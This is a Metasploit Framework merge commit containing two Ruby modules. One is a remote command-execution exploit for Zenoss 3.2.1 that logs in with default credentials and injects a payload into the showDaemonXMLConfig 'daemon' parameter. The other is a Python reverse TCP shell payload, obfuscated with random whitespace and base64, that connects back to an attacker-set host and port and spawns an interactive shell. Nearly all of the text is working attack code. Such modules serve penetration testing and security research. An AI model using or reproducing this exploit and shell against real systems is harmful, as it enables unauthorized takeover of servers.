Merge branch 'zenoss_3.2.1_showdaemonxmlconfig_exec' of https://github.com/bcoles/metasploit-framework into bcoles-zenoss_3.2.1_showdaemonxmlconfig_exec
sinn3r
commit
20489864fc
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Zenoss <= 3.2.1 showDaemonXMLConfig Command Execution',
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'Description' => %q{
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This module exploits a command execution vulnerability in Zenoss <= 3.2.1
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which could be abused to allow authenticated users to execute arbitrary
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code under the context of the 'zenoss' user. The show_daemon_xml_configs()
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function in the 'ZenossInfo.py' script calls Popen() with user
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controlled data from the 'daemon' parameter.
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},
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'References' =>
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[
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['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
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#['OSVDB', 'None'],
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#['CVE', 'None'],
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],
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail[dot]com>', # Discovery and exploit
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 2 $',
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'Privileged' => false,
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true,
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},
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic python perl bash',
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},
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'Targets' =>
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[
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[
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'Automatic Targeting', { 'auto' => true }
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 30 2012'
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))
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register_options([
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Opt::RPORT(8080),
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OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
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OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
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], self.class)
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end
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def check
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# retrieve software version from login page
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res = send_request_raw({
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'method' => "GET",
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'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
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})
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return Exploit::CheckCode::Unknown if res.nil?
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return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright © 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\.2\.1<\/span>/
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return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
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return Exploit::CheckCode::Safe
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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username = datastore['USERNAME']
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password = datastore['PASSWORD']
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command = URI.encode(payload.encoded)+"%26"
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postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"
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# send payload
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print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)")
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begin
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => "/zport/About/showDaemonXMLConfig",
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'data' => "#{postdata}",
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})
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if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
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print_error("#{@peer} - Authentication failed. Incorrect username/password.")
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return
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end
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print_status("#{@peer} - Sent payload successfully")
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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rescue
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print_error("#{@peer} - Sending payload failed")
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end
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handler
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end
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end
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@ -0,0 +1,61 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
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'Version' => '$Revision: 1 $',
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'Description' => 'Connect back and create a command shell via Python',
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'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'python',
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'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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))
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register_options([
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OptString.new('SHELL', [true, 'The system shell to use.', '/bin/bash'])
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], self.class)
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end
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def generate
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return super + command_string
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end
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#
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# Generate random whitespace
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#
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def random_padding
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" "*rand(10)
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end
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#
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# Generate command string
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#
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def command_string
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raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);"
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obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
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encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
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"python -c \"exec('#{encoded_cmd}'.decode('base64'))\""
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end
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end
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